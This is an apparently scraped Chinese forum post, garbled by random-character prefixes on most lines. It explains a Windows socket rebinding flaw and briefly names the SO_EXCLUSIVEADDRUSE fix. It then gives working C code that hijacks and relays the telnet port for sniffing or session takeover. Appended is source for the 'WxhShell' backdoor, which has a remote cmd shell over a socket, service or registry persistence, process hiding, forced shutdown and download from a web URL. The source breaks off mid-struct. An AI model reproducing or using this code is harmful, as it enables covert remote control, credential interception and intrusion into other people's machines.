在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
O>]I!n`!!A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~#/NpKHT@A @~pIyy\_ saddr.sin_family = AF_INET;
B"rV-,n{ L{H`
t{A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qN h:;` },9Hq~TA bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y r6wYs(% y8"8QH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
P]]re,&R jOL $kiW0 这意味着什么?意味着可以进行如下的攻击:
aO:wedfl G'b*.\= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}F3}-5![ ciRn"X=l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KQ0Zy !#l>+9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AD_RU_a9 +"1@6,M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YlfzHeN1 @=CN#D12 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=
GUgb2TAT }7p`8? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
v x qsK eXo7_# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d:08@~# Zpfsh2` #include
fFu+P<?" #include
'qR)f\em #include
c*o05pMS #include
1?:/8l%V DWORD WINAPI ClientThread(LPVOID lpParam);
]%AmX-U int main()
;vM&se63 {
AE`z~L, WORD wVersionRequested;
$['_m~
2 DWORD ret;
s~N WJ*i WSADATA wsaData;
e}%~S9\UL5 BOOL val;
)l 0\TF SOCKADDR_IN saddr;
N l~'W SOCKADDR_IN scaddr;
$07;gpZt int err;
HRX}r$ SOCKET s;
1F`1(MYt9 SOCKET sc;
{4B{~Qe; int caddsize;
CUIFKM HANDLE mt;
+<#0V!DM DWORD tid;
Zy!^HS$ wVersionRequested = MAKEWORD( 2, 2 );
(jj=CLe err = WSAStartup( wVersionRequested, &wsaData );
sfb)iH|sW if ( err != 0 ) {
u-v/`F2wN printf("error!WSAStartup failed!\n");
L1P.@hJ return -1;
n*twuB/P 1 }
)1#J4 saddr.sin_family = AF_INET;
-U&k%X p6)Jzh_/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]70V )4h4ql W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mn5y]:;` saddr.sin_port = htons(23);
0\W6X;? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A7U]wW9 {
g!/O)X3 printf("error!socket failed!\n");
Ife/:v return -1;
D==C"}J }
6ZvGD}/ val = TRUE;
o$PY0~# //SO_REUSEADDR选项就是可以实现端口重绑定的
|HT5G=dw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6uNWL `v {
]7+9>V printf("error!setsockopt failed!\n");
L!/Zw~ return -1;
c,
IAz }
@\ udaZc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
JDbRv'F:( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
94uAt&&b( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
r}?uZ"]=? PBkTI2 v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i
n$~(+ {
b!lS=zIN ret=GetLastError();
zDakl*
printf("error!bind failed!\n");
6*W7I-A return -1;
_k'?eZB }
!>E$2}Q|] listen(s,2);
'ozu4y while(1)
_tba:a( {
%s&"gWi caddsize = sizeof(scaddr);
0j\} @ //接受连接请求
}\#u~ k!l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:'6vIPN5 if(sc!=INVALID_SOCKET)
ya`Z eQ-p {
9(-f)$u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K9\r2w'T' if(mt==NULL)
>`E
(K X {
&9j*Y printf("Thread Creat Failed!\n");
>6X$iBb0 break;
JE~;gz] }
=lb5 # }
^*g= 65!1 CloseHandle(mt);
nO#a|~-)) }
K;L6<a A# closesocket(s);
lGhhH_ WSACleanup();
Rz03he return 0;
Y|X!da/ }
(&o|}"kRq DWORD WINAPI ClientThread(LPVOID lpParam)
P7`RAz {
[8 I*lsS SOCKET ss = (SOCKET)lpParam;
WALK@0E SOCKET sc;
}uFV\1 unsigned char buf[4096];
\281X SOCKADDR_IN saddr;
KA/~q"N long num;
(C9{|T+h DWORD val;
:|&S7&l] DWORD ret;
~pt#'65}: //如果是隐藏端口应用的话,可以在此处加一些判断
xoe/I[P]U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+T8h jOkC saddr.sin_family = AF_INET;
z*ly`-! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
D~Rv"Hh saddr.sin_port = htons(23);
Tebu?bj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`ElJL{Rn {
,DIr&5>p2 printf("error!socket failed!\n");
[wkSY>Gu return -1;
q.:j
yj6 }
vp|.x |@ val = 100;
+*`>7m<^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k*u4N {
GeFu_7u!| ret = GetLastError();
U-.A+#<IT9 return -1;
N2uTWT> }
|-Q="7b% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k*ZYT6Z? {
fG"4\A ret = GetLastError();
kN g{ return -1;
eW\C@>Ke }
bbG!Fg=qQ? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
bMGU9~CeJ {
6[T)Q ^0` printf("error!socket connect failed!\n");
FT;I|+H*P closesocket(sc);
os[i closesocket(ss);
c~)H" n return -1;
rD!UP1Nb }
_m@+d>f_ while(1)
ALi3JU {
Iy;bzHXs //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|'QgL0?
//如果是嗅探内容的话,可以再此处进行内容分析和记录
DR<=C`<4( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,<O|#`?"@G num = recv(ss,buf,4096,0);
CyKupJ.Fq if(num>0)
z{(c-7* send(sc,buf,num,0);
M?v`C>j else if(num==0)
wDt9Lf
O break;
s*tzU.E( num = recv(sc,buf,4096,0);
fq(3uE]nC if(num>0)
g0k{b send(ss,buf,num,0);
rd ]dDG else if(num==0)
2#_i_j break;
7Um3myXU }
g{e@I;F closesocket(ss);
HV[*=Qi closesocket(sc);
czcsXB l[ return 0 ;
f)#nXTXeC }
-~TgA*_5] |>v8yS5 Gj- *D7X5 ==========================================================
MT^krv(G ?'mi6jFFh 下边附上一个代码,,WXhSHELL
}kF*I@:g mNQ*YCq. ==========================================================
5;[h&jH 5
8n(fdE #include "stdafx.h"
115zvW A)HV#T`N #include <stdio.h>
fctVJ{? #include <string.h>
iX6'3\Q3A #include <windows.h>
t}>"nr0 #include <winsock2.h>
~+&Z4CYb #include <winsvc.h>
Rf#t|MW*# #include <urlmon.h>
%0lJ(hm MuP&m{ #pragma comment (lib, "Ws2_32.lib")
JU!vVA_ #pragma comment (lib, "urlmon.lib")
Lb0B m R%0 =`f"8,5 #define MAX_USER 100 // 最大客户端连接数
qVr?st #define BUF_SOCK 200 // sock buffer
KFf6um #define KEY_BUFF 255 // 输入 buffer
3.V-r59 QvDD
#define REBOOT 0 // 重启
4^{~MgQWK+ #define SHUTDOWN 1 // 关机
B'-L-]\H b\^9::oY #define DEF_PORT 5000 // 监听端口
2@?\"kR"! U,tWLX$@ #define REG_LEN 16 // 注册表键长度
cE7IHQ #define SVC_LEN 80 // NT服务名长度
o0FVVS l u;H5p\zAzz // 从dll定义API
6#(rWW"_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,H:{twc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9Fh1rZD< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|YK4V(5x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!--A" r=:o$e // wxhshell配置信息
"dFuQB struct WSCFG {
]7
2wv#- int ws_port; // 监听端口
gB}UzEj^< char ws_passstr[REG_LEN]; // 口令
(db4.G+0 int ws_autoins; // 安装标记, 1=yes 0=no
UO8./%'
char ws_regname[REG_LEN]; // 注册表键名
[|dQZ char ws_svcname[REG_LEN]; // 服务名
.Eg[[K_iD char ws_svcdisp[SVC_LEN]; // 服务显示名
"V:E BR char ws_svcdesc[SVC_LEN]; // 服务描述信息
O_[]+5.TX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$v~I n int ws_downexe; // 下载执行标记, 1=yes 0=no
#(o( p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[a\>"I\[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FW,@.CX t.6gyrV7>< };
N-<m/RS YY9Ub // default Wxhshell configuration
;eiqzdP struct WSCFG wscfg={DEF_PORT,
)NCSO b "xuhuanlingzhe",
[LrA_N 1,
L7 g4' "Wxhshell",
U=>4=gsG "Wxhshell",
Z*M-PaU} "WxhShell Service",
sI#r3:?i "Wrsky Windows CmdShell Service",
TptXH? "Please Input Your Password: ",
="AJ&BqHd 1,
pb=yQ}. "
http://www.wrsky.com/wxhshell.exe",
MP%pEUomev "Wxhshell.exe"
07qL@![! };
W6L}T,epX [y1
x`WOk9 // 消息定义模块
[cvtF(, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&+-]!^2o char *msg_ws_prompt="\n\r? for help\n\r#>";
c(!8L\69V} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DgRA\[c char *msg_ws_ext="\n\rExit.";
D$PR<>=y char *msg_ws_end="\n\rQuit.";
)Qixde>]p char *msg_ws_boot="\n\rReboot...";
D$/*Z5Z)] char *msg_ws_poff="\n\rShutdown...";
h;Se.{ char *msg_ws_down="\n\rSave to ";
@Sd l~'" oZ"93]3- char *msg_ws_err="\n\rErr!";
K!onV3mR char *msg_ws_ok="\n\rOK!";
O*y@4AR"S dRPX`%J char ExeFile[MAX_PATH];
&~a/Upz0]_ int nUser = 0;
6/&aBE= HANDLE handles[MAX_USER];
`6`oLu\l int OsIsNt;
>2@ a\ KvfZj SERVICE_STATUS serviceStatus;
q+}Er*r SERVICE_STATUS_HANDLE hServiceStatusHandle;
kK il]L "
H;iAv // 函数声明
+Rb0:r>kU int Install(void);
aIW W[xZ int Uninstall(void);
v#o<.
Ig int DownloadFile(char *sURL, SOCKET wsh);
$ H2HVJ int Boot(int flag);
(&ABfm/t void HideProc(void);
Nw|m"VLb int GetOsVer(void);
z8\;XR int Wxhshell(SOCKET wsl);
#E#.`/4 void TalkWithClient(void *cs);
Y~ ( <H e? int CmdShell(SOCKET sock);
sCw X| int StartFromService(void);
L#X!. int StartWxhshell(LPSTR lpCmdLine);
.*+KQA8 =x3ZQA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E#A}J: VOID WINAPI NTServiceHandler( DWORD fdwControl );
#(Ah>y
wk (}q // 数据结构和表定义
a0=5G>G9c SERVICE_TABLE_ENTRY DispatchTable[] =
5Sfz0 {
KD)+&69 {wscfg.ws_svcname, NTServiceMain},
N0 F|r8xS {NULL, NULL}
!JE=QG" };
qD?-&>dBWi =Zc
Vywz;+ // 自我安装
QwL'5ws{q int Install(void)
K%/:V {
/vG)n9Rc char svExeFile[MAX_PATH];
soi.`xE HKEY key;
&*r'Sx)V strcpy(svExeFile,ExeFile);
-yH8bm'0" Rr0@F`"R // 如果是win9x系统,修改注册表设为自启动
b3RCsIz if(!OsIsNt) {
@5y ~A}Vd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c _faW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9X6l`bo' RegCloseKey(key);
P-c<[DSM'I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gkN
)`/`* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F4%vEn\! RegCloseKey(key);
{f
kP|d return 0;
aE'nW@YL. }
;`P}\Q{ }
Ar:ezA }
Y']D_\y else {
"2~%-;c nC>'kgRt // 如果是NT以上系统,安装为系统服务
0p;pTc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]@D#<[5\ if (schSCManager!=0)
Yo$
xz {
Im* ~6[ SC_HANDLE schService = CreateService
<.lT.>'? (
MPg"n-g* schSCManager,
ozr82 wscfg.ws_svcname,
3?rYt:Uf! wscfg.ws_svcdisp,
cLpkgK&a SERVICE_ALL_ACCESS,
}&h*bim SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
u{_jweZ SERVICE_AUTO_START,
ueM[&:g&MU SERVICE_ERROR_NORMAL,
z#!}4@_i3 svExeFile,
W$X@DXT=o NULL,
FNyr0!t, NULL,
wC~ra:/?:7 NULL,
apxY2oE& NULL,
h/t{=
@
.5 NULL
g;Lk 'Ky6 );
3Wl,T5}{ if (schService!=0)
c<PML|e {
;HOOo>%_K CloseServiceHandle(schService);
8.'[>VzBL CloseServiceHandle(schSCManager);
P e\AH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.%'$3=/oe strcat(svExeFile,wscfg.ws_svcname);
=QiVcw,G# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!7KSNwGu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B)bq@jM RegCloseKey(key);
SX4"HadV> return 0;
PU6Sa-fQ2, }
GT)63| }
l-Q.@hG CloseServiceHandle(schSCManager);
lhk[U!># }
<r{M(yZ?@ }
opKk#40 ,bQbj7 return 1;
.Kn)sD1 }
U60jkzIRH "XU
M$:D // 自我卸载
n]N+ int Uninstall(void)
0(Hhb#WDh\ {
>Y h7By HKEY key;
NiCH$+c\ 0M'[|cid| if(!OsIsNt) {
TaZw_)4c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
h#o3qY RegDeleteValue(key,wscfg.ws_regname);
H.D1|sU RegCloseKey(key);
q Z,7q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vtv^l3 RegDeleteValue(key,wscfg.ws_regname);
/%#LA RegCloseKey(key);
Z]1=nSv return 0;
Zj*kHjn" }
Aj9Onz,Lg }
ZwV`} 2{ }
lR^OS*v else {
rT2gX^Mj& Z=B6fu* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
fcuU,A if (schSCManager!=0)
VPKoBJ& {
Nvlfi8. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$ylQ \Y' if (schService!=0)
\G3P[E[ {
j=%^CRum if(DeleteService(schService)!=0) {
hU}!:6G%[P CloseServiceHandle(schService);
98%M`WY CloseServiceHandle(schSCManager);
<h$Nh0 return 0;
1;\A./FVv }
a^vXwY CloseServiceHandle(schService);
#!m`A+!~! }
=*icCng CloseServiceHandle(schSCManager);
fI/?2ZH }
Y\.ds%G }
_e
]jz2j _86#$|kw return 1;
uG|d7LS,% }
,+u.FQv~ =1JS6~CTLN // 从指定url下载文件
t Z_ni} int DownloadFile(char *sURL, SOCKET wsh)
sg.8Sd"]7 {
QW5S=7 HRESULT hr;
t3#My2 = char seps[]= "/";
pT90TcI2 char *token;
6N{Vcfq char *file;
P <$)v5f char myURL[MAX_PATH];
C+*qU char myFILE[MAX_PATH];
U5 `h GAZTCkB" strcpy(myURL,sURL);
[3yzVcr~4 token=strtok(myURL,seps);
G2bZl%
,D while(token!=NULL)
+>em
!~3 {
hnQDm$k file=token;
i/&?e+i token=strtok(NULL,seps);
5}4f[ }
wknr^A '`-W!g[
> GetCurrentDirectory(MAX_PATH,myFILE);
AhZ`hj strcat(myFILE, "\\");
h6*&1r strcat(myFILE, file);
`A]CdgA send(wsh,myFILE,strlen(myFILE),0);
%uuh+@/&yz send(wsh,"...",3,0);
)JO#Z( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KuU]enC3 if(hr==S_OK)
%:v59:i} return 0;
hPCt- else
#Ub"Ii return 1;
qk;vn}auD] x[mxp/
/P }
A@8Ot-t:\2 Q}KNtNCpx // 系统电源模块
iqzl (9o.D int Boot(int flag)
Qy)+YhE {
6.o8vC/PZ HANDLE hToken;
S$CO T)7 TOKEN_PRIVILEGES tkp;
ZP@or2No% DCJmk6p%0 if(OsIsNt) {
)'<B\P/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
U
Hej5-B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9uXu V$. tkp.PrivilegeCount = 1;
[}7j0& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
i+/:^tc; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Cm~h\+" if(flag==REBOOT) {
Wq bfZx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
63s<U/N return 0;
'bH',X8gF }
2?",2x09 else {
@/S6P-4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p^2"g~ return 0;
i\P?Y(-{ }
q|E0Y }
s m42 else {
sU
{' if(flag==REBOOT) {
%5N;SRtv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@WppiZ$ return 0;
R&z) }
)$V &Nf
else {
vepZod}D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.g CC$ return 0;
x^UE4$oo }
E$$pO.\ }
Mo+mO&B NDG3mCl return 1;
~~U2Sr }
?e? mg Hx}K
wS // win9x进程隐藏模块
-qki^!Y? void HideProc(void)
|E\0Rv{H3 {
aZ$$a+ 3pxm0| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
sZ,MN F8i if ( hKernel != NULL )
_ n.2' {
LPjsR=xi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
s]=s2.= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3xhv~be FreeLibrary(hKernel);
N4 O'{ }
O|#N$a&_N t@GPB]3[ return;
A#s`!SNv }
x\=2D<@az yOn +Y // 获取操作系统版本
`O-LM e int GetOsVer(void)
F{1;~Yg% {
P]bq9!{1 OSVERSIONINFO winfo;
V\ud4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O[p;IG` GetVersionEx(&winfo);
Evz;eobW/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JHY0J
&4s return 1;
)I80Nq
else
#A8d@]Ps return 0;
Cdjh/+!f }
fvajNP V?g@pnN" // 客户端句柄模块
>Z#=< int Wxhshell(SOCKET wsl)
Wsn}Y-x {
RP]hW{:U SOCKET wsh;
1vcI`8%S+u struct sockaddr_in client;
M Cam c DWORD myID;
.xtjB8gc B/IPG~aMEZ while(nUser<MAX_USER)
qp(F}@ {
*}9i@DP1, int nSize=sizeof(client);
q&IO9/[dk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
LEM{$Fxo& if(wsh==INVALID_SOCKET) return 1;
RjO9E.nm I0 y+,~\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=<-tD< if(handles[nUser]==0)
o0- 7# 2 closesocket(wsh);
AL.zF\? else
/o=V
( nUser++;
K\ww,S }
,}M@Am0~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Lc>9[!+# !GkwbHr+p return 0;
)!1; = }
_C9*M6IU cH>rS\|Y // 关闭 socket
:uZfdu void CloseIt(SOCKET wsh)
fH.:#O: {
%K^l]tWa@ closesocket(wsh);
\Nc/W!r*9 nUser--;
-GkNA"2M[ ExitThread(0);
Q]_3 #_' }
zr9o ,s'78Dc$ // 客户端请求句柄
KWU
~QAc void TalkWithClient(void *cs)
&Z682b$ {
<uP> pv2_A SOCKET wsh=(SOCKET)cs;
.xT8@] char pwd[SVC_LEN];
s)$N&0\ char cmd[KEY_BUFF];
-Iz&/u*}f char chr[1];
EAQg4N:D7L int i,j;
nG;wQvc u,0N[.&N while (nUser < MAX_USER) {
2Mc/ah Sf>R7.lpP if(wscfg.ws_passstr) {
?PNG@OK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!Gu,X'#Ab //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u49zc9 //ZeroMemory(pwd,KEY_BUFF);
r}OK3J i=0;
[h 8j0Q@Q while(i<SVC_LEN) {
N=K|Nw @R=gJ:&a // 设置超时
hd~X c fd_set FdRead;
v\*43RL struct timeval TimeOut;
jsSxjf;O FD_ZERO(&FdRead);
qr%9Sdvx FD_SET(wsh,&FdRead);
"J]_B TimeOut.tv_sec=8;
3kFOs$3 TimeOut.tv_usec=0;
7s_#X|A$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&H!3] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[B9'/: .op:
2y9] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
hkw;W[ZWa pwd
=chr[0]; G l+[|?N
if(chr[0]==0xd || chr[0]==0xa) { k LVf}J~?
pwd=0; _Zya GDv
break; Y)Y`9u<?
} !oeu
i++; 4 vwa/?
} xwa5dtcng
ua1ov7w$]
// 如果是非法用户,关闭 socket BP2-LG&\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ktg{-Xl
} 9I8{2]
>N>WOLbb7(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9l2,:EQ*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^e%gU8!\
I*R[8|
while(1) { _aVrQ@9
OaU-4
~n;
ZeroMemory(cmd,KEY_BUFF); mxtLcG4G
6k;__@B,
// 自动支持客户端 telnet标准 *vFVXJo
j=0; FblwQ-D
while(j<KEY_BUFF) { /_E8'qlx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZm6\x
cmd[j]=chr[0]; y0qrl4S)v
if(chr[0]==0xa || chr[0]==0xd) { 9Vz1*4Ln
cmd[j]=0; h)BRSs?v_D
break; Q[^IX
} zCKZv|j6
j++; N+x0"~T}I
} AOQimjW9a
/W'GX n
// 下载文件 U'zW; Lt
if(strstr(cmd,"http://")) { }^WQNdws56
send(wsh,msg_ws_down,strlen(msg_ws_down),0); iph>"b$D
if(DownloadFile(cmd,wsh)) _f$8{&`k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Jq~EB{"
else i rMZLc6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w#eD5y~'oo
} egboLqn
else { @\v,
/2-S/,a
switch(cmd[0]) { v!?bEM3D
H];|<G
// 帮助 ]kq{9b';
case '?': { a'f"Zdh%w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . $uvQpyh
break; o^;$-O!/
} 6H67$?jMyJ
// 安装 )%x oN<
case 'i': { emOd<C1A
if(Install())
x/Se
/C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1VK?Svnd
else <qN0Q7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T!5m'Q.
break; 8
$0 D-z
} pkpD1c^
// 卸载 IRNL(9H
case 'r': { |WH'aGG
if(Uninstall()) QlJ
cj+_h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \bqIe}3V7
else PHl{pE*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &=H{ 36i@
break; w*<XPBi
} NR-d|`P;
// 显示 wxhshell 所在路径 ,~8:^*0s
case 'p': { !/+ZKx("9
char svExeFile[MAX_PATH]; o9ZHa
strcpy(svExeFile,"\n\r"); GVk&n"9kp
strcat(svExeFile,ExeFile); :@)UI,
send(wsh,svExeFile,strlen(svExeFile),0); SA&0f&07i
break; \#.,@g
} 'HTr02riY
// 重启 sHD8#t^{
case 'b': { u
Jy1 vI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YO7Y1(`
if(Boot(REBOOT)) Wr Ht
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[!K
else { \$YKw0K
closesocket(wsh); 6M9t<DQV
ExitThread(0); k\$))<3
} :8aa #bA
break; ^%|,G:r
} OQMkpX-dH
// 关机 I&~kwOP
case 'd': { \Zz"%i
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {'VP_ZS1v
if(Boot(SHUTDOWN)) r(xh5{^x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O6Bs!0,
else { )o)<5Iqh
closesocket(wsh); z(2pl}
ExitThread(0); <+ UEM~)
} 4Gs#_|!
break; yQE|FbiA
} eznt "Rr2
// 获取shell L;zwqdI
case 's': { F8M&.TE_3
CmdShell(wsh); y\Kr@;q0w
closesocket(wsh); H"czF
ExitThread(0); D/)wg$MI
break; l+!!S"=8)~
} KBJw7rra
// 退出 pSp/Qpb-B
case 'x': { DhZuQpH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VZo[\sWf
CloseIt(wsh); ,Oa-AF/p
break; stuj,8
} ST$~l7p
// 离开 g^|}e?
case 'q': { !.1oW(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y,Dd}an
closesocket(wsh); 3qJOE6[}%
WSACleanup(); ITJ{]7N
exit(1); BrF/-F
break; nMXk1`|/)x
} A>WMPe:sSS
} it]im
} q1ybJii
"%fh`4y3\
// 提示信息 0/K?'&$yvb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u3 k%
} #HFB*>
} s}Phw2`1U
|,3s]b`
return; HT&CbEa4'
} -^sW{s0Rc
wZ6D\I
// shell模块句柄 ZoX24C'
int CmdShell(SOCKET sock) m>yb}+
{ p3>(ZWPNV
STARTUPINFO si; )_bc:6Q
ZeroMemory(&si,sizeof(si)); '%Og9Bgd+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (:9yeP1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k(LZ,WSR
PROCESS_INFORMATION ProcessInfo; ^X-3YhJ4U
char cmdline[]="cmd"; <xpOi&l
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R_9 &V!fl
return 0; 8B#;ffkmN
} tLCu7%P>
O~
a`T
// 自身启动模式 Z]?Tx2|7
int StartFromService(void) =k.:XblEe[
{ >[t0a"
typedef struct x/~qyX8vo
{ g4b-~1[S
DWORD ExitStatus; _|<kKfd?
DWORD PebBaseAddress; l-s%3E3
DWORD AffinityMask; PPoQNW
DWORD BasePriority; lGrp^
ULONG UniqueProcessId; fH#yJd2?f
